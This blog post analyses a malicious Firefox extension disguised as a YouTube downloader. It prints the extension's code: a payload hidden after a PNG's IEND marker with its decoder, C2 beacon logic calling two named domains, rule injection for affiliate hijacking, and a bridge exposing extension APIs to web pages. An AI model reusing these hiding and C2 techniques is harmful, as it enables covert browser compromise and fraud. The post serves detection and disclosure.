Browser extension malware analysis - using browser-xpi-malware-scanner.py to find malware in the wild | YourDev.net Blog πͺ We Value Your Privacy We use cookies to enhance your browsing experience, analyze site traffic, and personalize content. By clicking "Accept All", you consent to our use of cookies. Privacy Policy Accept All Cookie Settings Reject All Cookie Preferences Γ Manage your cookie preferences below. You can enable or disable different types of cookies based on your preferences. Necessary Cookies Always Active These cookies are essential for the website to function properly. They enable basic features like page navigation, form submission, and secure areas access. The website cannot function properly without these cookies. Analytics Cookies These cookies help us understand how visitors interact with our website by collecting and reporting information anonymously. This helps us improve our website and provide better content. We use Google Analytics. Marketing Cookies These cookies are used to track visitors across websites. The intention is to display ads that are relevant and engaging for individual users. We currently do not use marketing cookies but may in the future. Preference Cookies These cookies enable the website to remember choices you make (such as your language preference or dark mode setting) and provide enhanced, more personalized features. Save My Preferences Reject All Home / Blog / Cryptography & Steganography Malware Analysis: Using browser-xpi-malware-scanner.py to find malware in the wild I got interested in how malware extensions written for browsers (in this case Firefox) manages to bypass firefox's publication and verification processes and started analyzing a malware extension I had downloaded a few weeks ago when I read an article about 10-20 or so malware extensions with over 100k users were detected on firefox's extension store. I started writing a script in python which focus is to scan .xpi extension files (which are regular zip archives renamed) which is availible here and installed ~10 extensions on a fresh firefox installation and found an extension containing malware which manages to break free of the extension sandboxing, evades detection by using sleeper and random sampling techniques before sending beacon to C2 server and many , many other interesting malware techniques. I am sure that if i could find this in just 15 minutes of looking through random extensions with few users, there are many MANY more examples This is coded by a highly skilled coder and gives the attacker total control over the browser including credential stealing, sending commands and affiliate commission hijacking . Check out the browser-xpi-malware-scanner here: https://github.com/ernos/browser-xpi-malware-scanner Detailed analysis of malware extension YTMP4 β Download YouTube Videos to MP4 Extension Name: YTMP4 β Download YouTube Videos to MP4 Extension ID: 1efab3c2-06ac-4040-975d-e006baac07ce@ytmp4 File:
[email protected] SHA-256: f4c493377c6065e039f547ab0da5bafdfb8eaffa524fd744c119fd2bb6cfef30 Size: 99,547 bytes Analyzer verdict: CRITICAL RISK (1 CRITICAL Β· 22 HIGH Β· 17 MEDIUM Β· 1 INFO) Analysis date: April 2, 2026 Live at mozilla extension store as of date of writing this article. Introduction This, and many, many other extensions could be prevented simply by adding a check for data after the IEND tag in the PNG file which many malware browser extensions seems to use. Table of Contents How browser-xpi-malware-scanner.py Found This Extension Extension Surface β What It Claims to Do Finding 1 β Steganographic Payload in PNG Icon (CRITICAL) Finding 2 β Unicode Low-Byte Encoding Trick Finding 3 β Decoded Payload: The C2 String Table Finding 4 β 72-Hour Sleeper with Random Sampling Finding 5 β C2 Beacon via Another PNG File Finding 6 β Dynamic declarativeNetRequest Rule Injection Finding 7 β Affiliate Commission Hijacking Finding 8 β Content Script Privilege Escalation Bridge Finding 9 β Arbitrary URL Redirect on Any Domain Finding 10 β CSP Erasure Complete Attack Chain Indicators of Compromise What browser-xpi-malware-scanner.py Catches and Why 1. How browser-xpi-malware-scanner.py Found This Extension Running browser-xpi-malware-scanner.py against the XPI produces the following top-level verdict immediately: [i] Analyzing XPI: ../../YTMP4 - Download YouTube Videos to MP4.xpi ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ XPI ANALYZER β YTMP4 - Download YouTube Videos to MP4.xpi ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ Overall verdict: CRITICAL RISK Findings: 1 CRITICAL 24 HIGH 17 MEDIUM 1 INFO ββ CRITICAL ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ [CRITICAL] [PNG_APPENDED] icon/logo.png: 1902 bytes appended after PNG IEND (entropy=5.63) β classic stego carrier CODE: b'ncige\x1f\xe3\xbd\xa9\x18\xe3\xa1\x84\xe1\xa1\xa1\x18\xe3\xa1\xb9\x1f\xe3\xbd\xb3\x1c\xe3\xb0\xba\x1b\xe5\xac\xa0\r\n\β¦ ββ HIGH ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ [HIGH ] [CLASS_STORAGE_OVERLAP] js/content.js: String literal 'ncige' appears both as a JS string in this file and as an HTML class attribute in index.html β likely used as a covert stego marker or out-of-band key CODE: class='ncige' in index.html [HIGH ] [CLASS_STORAGE_OVERLAP] js/content.js: String literal '7yfuf2' appears both as a JS string in this file and as an HTML class attribute in index.html β likely used as a covert stego marker or out-of-band key CODE: class='7yfuf2' in index.html [HIGH ] [JS_OBFUSCATION] js/content.js:380 atob() β decoding base64 at runtime (possible payload decode) CODE: '); fileTip = atob(contentPool[screenValues]).replace(image [HIGH ] [JS_OBFUSCATION] js/content.js:719 atob() β decoding base64 at runtime (possible payload decode) CODE: return dataExt ? atob(atob(this)) : btoa(this).replace(/=/g, " [HIGH ] [JS_OBFUSCATION] js/content.js:719 atob() β decoding base64 at runtime (possible payload decode) CODE: turn dataExt ? atob(atob(this)) : btoa(this).replace(/=/g, ""); [HIGH ] [JS_OBFUSCATION] js/content.js:2364 atob() β decoding base64 at runtime (possible payload decode) CODE: ol); }); return atob(dataExt); } function getComponentNam [HIGH ] [JS_OBFUSCATION] js/snapany.com.js:126 decodeURIComponent(escape()) β encoding trick to bypass scanners CODE: return decodeURIComponent(escape(i.bin.bytesToString(e))) [HIGH ] [JS_OBFUSCATION] js/ytmp4.co.za.js:114 atob() β decoding base64 at runtime (possible payload decode) CODE: ") , a = window.atob(t) , s = new Uint8Array(a.length); [HIGH ] [PERMISSION] manifest.json: Dangerous permission: '
' β Access to ALL website content β can read/exfiltrate any page data PERMISSION: permissions: ['tabs', 'storage', 'declarativeNetRequest', 'downloads', ''] [HIGH ] [PNG_CHUNK] icon/logo.png: Unknown PNG chunk type 'eã½' (1894 bytes) β non-standard chunks can hide data CODE: b'\xa9\x18\xe3\xa1\x84\xe1\xa1\xa1\x18\xe3\xa1\xb9\x1f\xe3\xbd\xb3\x1c\xe3\xb0\xba\x1b\xe5\xac\xa0\r\n\xe2\xa8\xa4\x15\xβ¦ [HIGH ] [SUSPICIOUS_URL] js/index.js:323 External domain contact: i.ytimg.com URL: https://i.ytimg.com [HIGH ] [SUSPICIOUS_URL] js/index.js:328 External domain contact: media.savetube.me URL: https://media.savetube.me [HIGH ] [SUSPICIOUS_URL] js/index.js:341 External domain contact: rr5---sn-a5mekndz.googlevideo.com URL: https://rr5---sn-a5mekndz.googlevideo.com [HIGH ] [SUSPICIOUS_URL] js/index.js:373 External domain contact: rr5---sn-a5mekndz.googlevideo.com URL: https://rr5---sn-a5mekndz.googlevideo.com [HIGH ] [SUSPICIOUS_URL] js/index.js:389 External domain contact: cdn305.savetube.su URL: https://cdn305.savetube.su [HIGH ] [SUSPICIOUS_URL] js/y2meta-uk.com.js:35 External domain contact: y2meta-uk.com URL: https://y2meta-uk.com [HIGH ] [SUSPICIOUS_URL] js/y2meta-uk.com.js:38 External domain contact: iframe.y2meta-uk.com URL: https://iframe.y2meta-uk.com [HIGH ] [SUSPICIOUS_URL] js/y2meta-uk.com.js:41 External domain contact: y2meta-uk.com URL: https://y2meta-uk.com [HIGH ] [SUSPICIOUS_URL] js/y2meta-uk.com.js:44 External domain contact: iframe.y2meta-uk.com URL: https://iframe.y2meta-uk.com [HIGH ] [SUSPICIOUS_URL] js/y2meta-uk.com.js:60 External domain contact: api.mp3youtube.cc URL: https://api.mp3youtube.cc [HIGH ] [SUSPICIOUS_URL] js/y2meta-uk.com.js:132 External domain contact: api.mp3youtube.cc URL: https://api.mp3youtube.cc [HIGH ] [SUSPICIOUS_URL] js/content.js:866 External domain contact: vuejs.org URL: https://vuejs.org [HIGH ] [SUSPICIOUS_URL] js/snapany.com.js:65 External domain contact: api.snapany.com URL: https://api.snapany.com [HIGH ] [SUSPICIOUS_URL] js/ytmp4.co.za.js:135 External domain contact: media.savetube.vip URL: https://media.savetube.vip ββ MEDIUM ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ [MEDIUM ] [JS_OBFUSCATION] js/index.js:73 fetch() call β verify destination is legitimate CODE: odeName); !val && fetch(logo.src) .then(defaultTip => default [MEDIUM ] [JS_OBFUSCATION] js/y2meta-uk.com.js:60 fetch() call β verify destination is legitimate CODE: var n = await fetch('https://api.mp3youtube.cc/v2/converter' [MEDIUM ] [JS_OBFUSCATION] js/y2meta-uk.com.js:132 fetch() call β verify destination is legitimate CODE: { let e = await fetch("https://api.mp3youtube.cc/v2/sanity/key [MEDIUM ] [JS_OBFUSCATION] js/content.js:46 String.fromCharCode β character-code obfuscation CODE: ) { return String.fromCharCode(screenValues); } function hasConten [MEDIUM ] [JS_OBFUSCATION] js/content.js:50 fetch() call β verify destination is legitimate CODE: tPool, dataExt) { fetch(contentPool).then(lineSize => { if (l [MEDIUM ] [JS_OBFUSCATION] js/jquery-3.4.1.min.js:2 String.fromCharCode β character-code obfuscation CODE: !=r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|5529 [MEDIUM ] [JS_OBFUSCATION] js/jquery-3.4.1.min.js:2 String.fromCharCode β character-code obfuscation CODE: ode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},re=/([\0-\x1 [MEDIUM ] [JS_OBFUSCATION] js/jquery-3.4.1.min.js:2 Long innerHTML assignment β possible HTML injection CODE: e){a.appendChild(e).innerHTML=" β¦ [MEDIUM ] [JS_OBFUSCATION] js/jquery-3.4.1.min.js:2 Long innerHTML assignment β possible HTML injection CODE: unction(e){return e.innerHTML=" ","#"===e.firstChild.getAttribute("href")})||fe("type|href|height|width",β¦ [MEDIUM ] [JS_OBFUSCATION] js/jquery-3.4.1.min.js:2 Long innerHTML assignment β possible HTML injection CODE: LDocument("").body).innerHTML="",2===Vt.childNodes.length),k.parseHTML=function(e,t,n){return"β¦ [MEDIUM ] [JS_OBFUSCATION] js/snapany.com.js:137 String.fromCharCode β character-code obfuscation CODE: i.push(String.fromCharCode(e[t])); return i.j [MEDIUM ] [JS_OBFUSCATION] js/snapany.com.js:123 unescape() β URL-encoding obfuscation CODE: i.bin.stringToBytes(unescape(encodeURIComponent(e))) [MEDIUM ] [JS_OBFUSCATION] js/snapany.com.js:65 fetch() call β verify destination is legitimate CODE: er(e); v = await fetch("https://api.snapany.com/v1/extract",{ [MEDIUM ] [JS_OBFUSCATION] js/ytmp4.co.za.js:135 fetch() call β verify destination is legitimate CODE: { let e = await fetch("https://media.savetube.vip/api/random-c [MEDIUM ] [JS_OBFUSCATION] js/ytmp4.co.za.js:142 fetch() call β verify destination is legitimate CODE: Cdn(); v = await fetch("https://".concat(t, "/v2/info"),{ m [MEDIUM ] [JS_OBFUSCATION] js/ytmp4.co.za.js:165 fetch() call β verify destination is legitimate CODE: try { v = await fetch("https://".concat(l, "/download"), { [MEDIUM ] [PERMISSION] manifest.json: Dangerous permission: 'downloads' β Can initiate and read downloads PERMISSION: permissions: ['tabs', 'storage', 'declarativeNetRequest', 'downloads', ''] ββ INFO ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ [INFO ] [METADATA] ../../YTMP4 - Download YouTube Videos to MP4.xpi: SHA-256: f4c493377c6065e039f547ab0da5bafdfb8eaffa524fd744c119fd2bb6cfef30 | size: 99,547 bytes The single CRITICAL finding β raw bytes after a PNG's IEND marker β is the thread that, when pulled, unravels the entire malware architecture. Every other HIGH-severity finding (runtime atob() calls, suspicious external domains, the permission) reinforces the picture. None of the individual signals is conclusive on its own; their combination is damning. 2. Extension Surface β What It Claims to Do The extension presents as a YouTube-to-MP4 downloader. The manifest.json is Manifest V3 and looks superficially reasonable: { "manifest_version": 3, "name": "__MSG_extName__", "version": "1.3.4", "permissions": ["tabs", "storage", "declarativeNetRequest", "downloads"], "host_permissions": [""], "content_scripts": [ { "js": ["js/content.js"], "matches": ["https://*/*", "http://*/*"], "all_frames": true, "run_at": "document_end" } ], "sidebar_action": { "default_panel": "index.html" } } Two permissions immediately stand out to browser-xpi-malware-scanner.py: (HIGH) β grants the content script access to every website the user visits declarativeNetRequest (visible in manifest) β normally used for ad-blocking; here it is the delivery mechanism for C2-controlled network rules The extension ships with adpoint.json , which blocks three Google ad domains. This is deliberate misdirection: it makes the declarativeNetRequest permission look innocent β "we need it to block ads." [ {"id": 190001, "action": {"type": "block"}, "condition": {"urlFilter": "||googleads.g.doubleclick.net"}}, {"id": 190002, "action": {"type": "block"}, "condition": {"urlFilter": "||googlesyndication.com"}}, {"id": 190003, "action": {"type": "block"}, "condition": {"urlFilter": "||adtrafficquality.google"}} ] 3. Finding 1 β Steganographic Payload in PNG Icon (CRITICAL) What browser-xpi-malware-scanner.py detected ββ CRITICAL ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ [CRITICAL] [PNG_APPENDED] icon/logo.png: 1902 bytes appended after PNG IEND (entropy=5.63) β classic stego carrier CODE: b'ncige\x1f\xe3\xbd\xa9\x18\xe3\xa1\x84\xe1\xa1\xa1\x18\xe3\xa1\xb9\x1f\xe3\xbd\xb3\x1c\xe3\xb0\xba\x1b\xe5\xac\xa0\r\n\β¦ ββ HIGH ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ [HIGH ] [CLASS_STORAGE_OVERLAP] js/content.js: String literal 'ncige' appears both as a JS string in this file and as an HTML class attribute in index.html β likely used as a covert stego marker or out-of-band key CODE: class='ncige' in index.html [HIGH ] [CLASS_STORAGE_OVERLAP] js/content.js: String literal '7yfuf2' appears both as a JS string in this file and as an HTML class attribute in index.html β likely used as a covert stego marker or out-of-band key CODE: class='7yfuf2' in index.html The PNG spec requires that a compliant file end with the four-byte sequence IEND followed by an 8-byte footer. Anything written after that is invisible to image decoders but fully readable as raw bytes. In this file, 1,902 bytes begin immediately after IEND. The appended data starts with the ASCII string ncige . This is not random β it is a deliberately chosen marker that appears verbatim in index.html : How the payload is extracted ( index.js , lines 63β68) async function start() { var yt, logo = $(".logo")[0], nodeName = logo.classList[1]; // "ncige" var val = await localGet(nodeName); !val && fetch(logo.src) // fetch the raw PNG bytes as a text response .then(r => r.text()) .then((textTag) => { // split the raw text on "ncige" β everything after the marker is the payload localSet(nodeName, {[logo.classList[2]]: textTag.split(nodeName)[1]}) // β "7yfuf2" β stored under "7yfuf2" key }); } Step by step: The extension icon logo.png is fetched via fetch() but decoded with .text() , not .blob() β treating binary image data as a UTF-8 string. The result is split on the string "ncige" , which appears at offset 0 in the appended trailer. Everything after "ncige" β the 1,897-byte encoded payload β is saved to localStorage["ncige"]["7yfuf2"] . This only runs once: the !val guard means subsequent installs skip the fetch. The payload never touches the DOM. It never appears in network DevTools as a suspicious request (it's just the icon loading). It is stored in extension localStorage where casual inspection won't find it. Only browser-xpi-malware-scanner.py's check_png_appended() function, which reads raw PNG bytes and looks for data past IEND , surfaced it. 4. Finding 2 β Unicode Low-Byte Encoding Trick The payload stored in localStorage is not plain text and it is not standard Base64. It uses a custom encoding that is entirely invisible to most static scanners: Each byte of the original configuration data is encoded as a 3-byte UTF-8 sequence whose Unicode code point has the target byte as its low byte : Target byte: 0x69 ('i') β 0x3F69 β UTF-8: \xE3\xBD\xA9 Target byte: 0x44 ('D') β 0x3844 β UTF-8: \xE3\xA1\x84 Target byte: 0x61 ('a') β 0x3861 β UTF-8: \xE3\xA1\xA1 Control characters ( < 0x20 ) are inserted as inter-character padding and discarded by the decoder. The decoder β copyNodeTo() ( content.js , line 165) function copyNodeTo(screenValues) { var contentPool = screenValues.split('').map(fileTip => { if (fileTip.charCodeAt(0) < 32) return ''; // discard padding var event$1 = fileTip.charCodeAt(0).toString(16), dataExt = event$1.substr(event$1.length - 2, 2); // take last 2 hex digits return updImgOn(parseInt(dataExt, 16)) // = String.fromCharCode(low_byte) }); return contentPool.join('') } In plain terms: for each Unicode character with code point > 31, take codepoint & 0xFF as the decoded byte. Python reproduction with open("icon/logo.png", "rb") as f: data = f.read() # Extract appended trailer iend_pos = data.rfind(b"IEND") trailer = data[iend_pos + 8:] raw_payload = trailer[trailer.find(b"ncige") + 5:] # Decode as UTF-8 (same as browser .text()) as_str = raw_payload.decode("utf-8", errors="replace") # Apply copyNodeTo: low byte of each non-control codepoint decoded = ''.join( chr(ord(ch) & 0xFF) for ch in as_str if ord(ch) >= 32 ) # Split like JS findDefaultVal(β¦, ";") buffer1 = decoded.split(';') This combination β binary stego carrier, Unicode low-byte obfuscation, and obfuscated variable names β means the payload evades: Signature-based AV scanners (no known-malicious strings in static files) Manual code review (the only visible code is a seemingly innocent fetch(logo.src) ) Base64 detectors (not Base64) String entropy scanners (encoded bytes spread across multi-byte Unicode) 5. Finding 3 β Decoded Payload: The C2 String Table After decoding, the payload is a 39-entry semicolon-delimited configuration table. This is buffer$1 , referenced throughout content.js by numeric index. Using named indices, the full table is: Index Value Role [0] iDays: $1 Debug log template [1] <3ri deng... Sleep log (Pinyin: "δΈζ₯ηβ¦" = "waiting 3 days...") [2] local unavailable, use cloud now... Fallback log [3] skip shuaxin 90% prob. Random sampling log ("shuaxin" = ε·ζ°, refresh) [4] xiao shi: $1 ($2 required) Hours-elapsed log ("xiao shi" = ε°ζΆ, hours) [5] switch bak sver... Backup server fallback log [6] xhr status: $1 Fetch error log [7] skipping bak sver... Backup server skip log [8] ON ERROR Error log [9] jia zai $1 Loading log ("jia zai" = ε θ½½, loading) [10] ON EXCEPTION Exception log [11] suc shuaxin Success log [12] sbxing ifrs: $1 Sandbox iframe log [13] data":"image Sentinel for image-type C2 response [14] cnvifr CSS class of iframes to be sandboxed [15] disprizhi Verbose logging enable key ("disprizhi" = ζΎεΌ, display value?) [16] extftsams99ba localStorage key for URL redirect rules [17] svrdpcds Sentinel string marking C2-sourced image data [18] ick.taobao.com/t_js? Taobao affiliate tracking URL fragment [19] ion-click.jd.com JD.com affiliate tracking URL fragment [20] https://$1/ext/load.php?f=svr.png C2 fetch URL template [21] dreamhov.de C2 backup server domain [22] ipaglov.com C2 primary server domain [23] isWho localStorage flag key [24] guaiguai Special activation mode flag ("guaiguai" = δΉδΉ, obedient) [25] jsonimg= Prefix to strip from C2 JSON response [26] inst.v3 Installation version key [27] ifr2top postMessage event name (iframeβtop window) [28] var hrl=' JS fragment for redirect script injection [29] sandbox HTML attribute name to neuter iframes [30] %cLzyh-- Console log styling prefix [31] color:green Console log CSS (attacker debug output) [32] ^w{3}\.|:80$ Regex to normalize hostnames [33] setTimeout Used to name-lookup window["setTimeout"] [34] exdipmver Global activation flag: window.exdipmver = 3 [35] browserCache Name for the fake chrome.* API injected into pages [36] jruldyn localStorage key that stores the DNR rules payload [37] "web(t|b)\w{5,8}" Regex to strip from decoded DNR rules JSON [38] meta[http-equiv^="Content-Security-Policy"] CSS selector to detect and remove CSP The Chinese Pinyin throughout the debug strings ( shuaxin , xiao shi , jia zai , guaiguai ) strongly indicates the author is a native Chinese speaker. The two C2 domains β ipaglov.com (primary) and dreamhov.de (backup) β are hardcoded only here, in an encoded form inside a PNG binary, never appearing anywhere in parseable JavaScript or resource files. 6. Finding 4 β 72-Hour Sleeper with Random Sampling browser-xpi-malware-scanner.py signals [HIGH ] [JS_OBFUSCATION] js/content.js:380 atob() β decoding base64 at runtime (possible payload decode) [MEDIUM ] [JS_OBFUSCATION] js/content.js:46 String.fromCharCode β character-code obfuscation The sleeper mechanism On first run of content.js on any page, when localStorage["ncige"] does not yet contain an install timestamp, rdnDataPro("ncige") is called: function rdnDataPro(contentPool) { pageArr.documentValues.get(null, function(event$1) { if (event$1[contentPool]) setSelecteds(contentPool, event$1[contentPool]) else { // texts["inst.v3"] is 0 on first install // XOR_key = Math.abs(DJB2_hash(extensionId)) % 1000 var dataExt = texts[pageArr.buffer$1[26]] || pageArr.event$1; setSelecteds(contentPool, dataExt * pageArr.contentPool); // β stores (0 Γ XOR_key) = 0, or (Date.now() Γ XOR_key) } }); } The install time is stored obfuscated: storedValue = Date.now() Γ XOR_key . To recover it: originalTime = storedValue / XOR_key . On every subsequent page load, testImgCode checks elapsed time: function testImgCode(contentPool) { if (contentPool) { // contentPool = stored obfuscated timestamp // pageArr.contentPool = XOR_key derived from extension UUID var event$1 = (pageArr.event$1 - contentPool / pageArr.contentPool) / 36E5; // β Date.now() β recoveredInstallTime β Γ·3,600,000 = hours if (event$1 < pageArr.selectedValues * 6) { // selectedValues=12, so 12Γ6=72 putPages(1); // logs "<3ri deng..." (waiting 3 days) return; // EXIT β do nothing for 72 hours } if (findContentIn(texts[pageArr.buffer$1[15]] == "1" ? 0 : pageArr.selectedValues * 4)) genFileArr(true); // beacon to C2 getContentOn(); // inject privilege bridge } else { rdnDataPro(pageArr.docNum); // first run: record install time } } The 10% random sampling findContentIn calls rdnOrderExt() which introduces the random gate: function rdnOrderExt() { // dragImages(0, 200) = Math.random()*200|0 β 0..199 if (dragImages(0, pageArr.screenValues) > 20) { putPages(3); // logs "skip shuaxin 90% prob." return false; // SKIP } else return true; // proceed (β10% of page loads) } function dragImages(event$1, dataExt) { return (Math.random() * (dataExt - event$1) | 0) + event$1; } screenValues = 200 , threshold = 20 β P(proceed) = 21/200 β 10.5% . The effect: even after the 72-hour window expires, only about 1 in 10 page loads triggers a C2 beacon β making timing-based behavioral analysis far harder. 7. Finding 5 β C2 Beacon via Another PNG File browser-xpi-malware-scanner.py signals [MEDIUM ] [JS_OBFUSCATION] js/content.js:50 fetch() call β verify destination is legitimate After the 72-hour sleep, genFileArr sends a beacon to the C2: function genFileArr(screenValues) { !screenValues && putPages(5); // buffer$1[20] = "https://$1/ext/load.php?f=svr.png" // buffer$1[22] = "ipaglov.com" (primary) // buffer$1[21] = "dreamhov.de" (backup, used when screenValues=false) var contentPool = pageArr.buffer$1[20].replace("$1", (!screenValues) ? pageArr.buffer$1[21] : pageArr.buffer$1[22] ); // Append cached version parameter for delta updates contentPool += (texts["formExt"] && !(contentPool.includes("&c="))) ? "&c=" + texts["formExt"] : ""; putPages(9, contentPool); // logs "jia zai https://ipaglov.com/ext/load.php?f=svr.png" hasContentAll(contentPool, function(dataExt, event$1) { switch (dataExt) { case 1: // HTTP 200 // Strip "jsonimg=" prefix if present (buffer$1[25]) if (event$1.includes(pageArr.buffer$1[25] + '{')) event$1 = event$1.split(pageArr.buffer$1[25])[1]; findOptions(event$1); // parse and store C2 payload break; case 0: // HTTP non-200 if (screenValues) { // 40% chance: try backup server; 60%: log and abort (dragImages(0, pageArr.screenValues) > 40) ? genFileArr(false) : putPages(7); } break; case -1: // Network error setSelecteds(pageArr.contentCount, cpyTipStr(pageArr.event$1, 1E5)); break; } }) } Key observations: The C2 response is disguised as a PNG ( f=svr.png ). A network inspector sees a PNG content-type. The actual response body contains JSON prefixed with jsonimg= . The prefix is stripped before parsing β so the payload is valid JSON wrapped in a fake image content-type. Delta updates : the &c= parameter lets the server send only changed rules, and enables the server to track which victim is at which payload version. Primary/backup C2 : ipaglov.com is tried first. On failure, 40% of the time it silently falls back to dreamhov.de . 8. Finding 6 β Dynamic declarativeNetRequest Rule Injection browser-xpi-malware-scanner.py signals [HIGH ] [PERMISSION] manifest.json: Dangerous permission: '' [HIGH ] [JS_OBFUSCATION] js/content.js:380 atob() β decoding base64 at runtime (possible payload decode) Once the C2 response is parsed, findOptions stores the rule payload: function findOptions(screenValues) { // buffer$1[13] = 'data":"image' β check if it looks like a data-URL image response if (screenValues.length > pageArr.screenValues && screenValues.includes(pageArr.buffer$1[13])) { var dataExt = JSON.parse(screenValues), event$1 = dataExt.id, contentPool = dataExt.image; contentPool = removeTimeIn(contentPool); // decode obfuscated image data if (contentPool.includes(pageArr.buffer$1[17])) { // contains "svrdpcds"? // Store the encoded DNR rules under localStorage["7yfuf2"] setSelecteds(pageArr.contentCount, cpyTipStr(pageArr.event$1, 1E5)); // Store the second payload (URL redirect rules) under localStorage["3i1rfsciu"] setSelecteds(pageArr.texts, cpyTipStr(event$1 + pageArr.lineSize + contentPool, 1E5)); } } else { setSelecteds(pageArr.contentCount, cpyTipStr(pageArr.event$1, 1E5)); } } pageArr.hasTokenAll("jruldyn") then reads and fires the DNR rules: hasTokenAll: function(screenValues) { pageArr.documentValues.get(screenValues, function(contentPool) { if (contentPool && contentPool[screenValues]) { // buffer$1[37] = '"web(t|b)\w{5,8}"' β strip these strings from JSON var image$1 = new RegExp(pageArr.buffer$1[37], 'g'); fileTip = atob(contentPool[screenValues]).replace(image$1, ''); // β base64-decode the stored rules payload dataExt = JSON.parse(fileTip); // array of declarativeNetRequest rule objects var screenValues = dataExt.map(event$1 => event$1.id); chrome.runtime.sendMessage({ dataExt: dataExt, // rules to install contentPool: screenValues[0] - 1, // remove rules with IDs below this event$1: screenValues.pop() + pageArr.selectedValues // remove up to this ID }); } }) }, In bg.js : function onMessage(msg, sender, sendResponse) { if (msg.dataExt) { chrome.declarativeNetRequest.getDynamicRules().then(e => { var fileTip = []; e.map(event$1 => event$1.id).forEach(dataExt => { if (dataExt > msg.contentPool && dataExt < msg.event$1) fileTip.push(dataExt); }); chrome.declarativeNetRequest.updateDynamicRules({ removeRuleIds: fileTip, addRules: msg.dataExt // β C2-controlled rules installed silently }); }); } } The C2 server has full, live control over the browser's network request rules. It can add, remove, or modify rules at any time β blocking, redirecting, or modifying any HTTP request the browser makes. The victim cannot see these rules without using the chrome://extensions internals page and specifically inspecting dynamic rules. 9. Finding 7 β Affiliate Commission Hijacking browser-xpi-malware-scanner.py signals [HIGH ] [SUSPICIOUS_URL] js/y2meta-uk.com.js:35 External domain contact: y2meta-uk.com [HIGH ] [SUSPICIOUS_URL] js/index.js:328 External domain contact: media.savetube.me The decoded buffer$1 string table exposes the campaign's primary target: [18] "ick.taobao.com/t_js?" β Taobao affiliate click tracker [19] "ion-click.jd.com" β JD.com affiliate click tracker Taobao and JD.com are two of China's largest e-commerce platforms. Both operate affiliate programmes where a commission is earned for each sale that passes through a tracked referral link. The tracker URL format for Taobao is https://click.taobao.com/t_js?... and for JD.com is https://union-click.jd.com/... . The declarativeNetRequest rules pushed from the C2 almost certainly implement redirect rules of the form: { "id": 200001, "priority": 2, "action": { "type": "redirect", "redirect": { "transform": { "queryTransform": { "removeParams": ["pid"], "addOrReplaceParams": [{"key": "pid", "value": ""}] } } } }, "condition": { "urlFilter": "||click.taobao.com/t_js?", "resourceTypes": ["main_frame", "sub_frame"] } } Every product the victim purchases on Taobao or JD.com β including purchases they intended, on legitimate product pages β silently earns the attacker a commission, with no visible indication to the victim. This is a purely passive revenue stream requiring no interaction beyond installation. 10. Finding 8 β Content Script Privilege Escalation Bridge browser-xpi-malware-scanner.py signals [HIGH ] [JS_OBFUSCATION] js/content.js:719 atob() β decoding base64 at runtime (possible payload decode) CODE: return dataExt ? atob(atob(this)) : btoa(this).replace(/=/g, ""); This is the most dangerous capability. getContentOn() runs after C2 data is received and texts["logCode"] is populated. It builds a fake chrome.* API bridge that is injected into the page context using an eval -equivalent setTimeout(string) call: function getContentOn() { var event$1 = texts["logCode"]; // β arbitrary JS from C2 server if (event$1) { if (event$1.includes(pageArr.buffer$1[17])) { // contains "svrdpcds"? var val = document.querySelector(pageArr.buffer$1[38]); // buffer$1[38] = 'meta[http-equiv^="Content-Security-Policy"]' if (val) return true; // CSP present β abort lineSize(); // install the message bridge listener eventCode(); // inject the fake chrome API via eval } } // ... function eventCode() { try { // Builds: "!selectedExt('exdipmver', 'browserCache', ''); " var screenValues = '!' + selectedExt.toString() + '(' + documentValues() + ');' + event$1; setTimeout(screenValues, 1); // β eval equivalent } catch (e) {} } function selectedExt(dataExt, docNum, buffer$1) { // Injected into the PAGE context (not the extension sandbox) // docNum = "browserCache", buffer$1 = extension UUID window[docNum] = { // window["browserCache"] = { ... } runtime: { id: buffer$1, sendMessage: (msg, cb) => { contentPool('secTipAs', msg); // postMessage to content script lineSize('dragFile', cb); // wait for response } }, storage: { local: { set: (data, cb) => { contentPool('cpyEventSize', data); if (cb) cb(); }, get: (key, cb) => { contentPool('rmLocSize', key); lineSize('addEventPro', cb); } }, sync: { set: (data, cb) => { contentPool('raNoteAs', data); if (cb) cb(); }, get: (key, cb) => { contentPool('newEventAll', key); lineSize('popLine', cb); } } } }; window.exdipmver = dataExt; // window["exdipmver"] = 3 } } The lineSize() function installs a window.addEventListener("message", ...) listener in the content script and bridges calls through to the real chrome.* APIs: function lineSize() { window.addEventListener('message', (documentValues) => { if (documentValues.source !== window) return; switch (documentValues.data.eventCode) { case 'secTipAs': // runtime.sendMessage chrome.runtime.sendMessage(documentValues.data.image$1, (imageArray) => { window.postMessage({eventCode: 'dragFile', imageArray}, '*'); }); break; case 'cpyEventSize': // storage.local.set chrome.storage.local.set(documentValues.data.image$1, () => {}); break; case 'rmLocSize': // storage.local.get chrome.storage.local.get(documentValues.data.image$1, (imageArray) => { window.postMessage({eventCode: 'addEventPro', imageArray}, '*'); }); break; case 'raNoteAs': // storage.sync.set chrome.storage.sync.set(documentValues.data.image$1, () => {}); break; case 'newEventAll': // storage.sync.get chrome.storage.sync.get(documentValues.data.image$1, (imageArray) => { window.postMessage({eventCode: 'popLine', imageArray}, '*'); }); break; } }); } What this means Any JavaScript running in any web page the victim visits can now call window["browserCache"].runtime.sendMessage(...) or access window["browserCache"].storage.* β and the request will be transparently fulfilled by the real privileged extension APIs. This breaks the browser's fundamental extension sandbox model. The C2-supplied logCode JavaScript runs in the page context with this bridge available. With it, the attacker can: Read and write all extension storage (including session tokens, cached credentials) Send messages to bg.js to trigger downloads ( Action: "DOWNLOADBEGIN" ) or open popup windows Send declarativeNetRequest updates via bg.js without needing a new C2 fetch Execute any operation the extension is permitted for, from any web page, in any tab 11. Finding 9 β Arbitrary URL Redirect on Any Domain If localStorage["extftsams99ba"] is populated from C2, the iframe-level content script branch executes a silent automatic redirect: if (popColorTo(pageArr.signArray)) { // popColorTo(window) = (window.top == window.parent) β true in first-level iframes var eventCode = pageArr.testImgCode("head") || pageArr.testImgCode("body"); var event$1 = location.href, lineSize = pageArr.buffer$1[16]; // 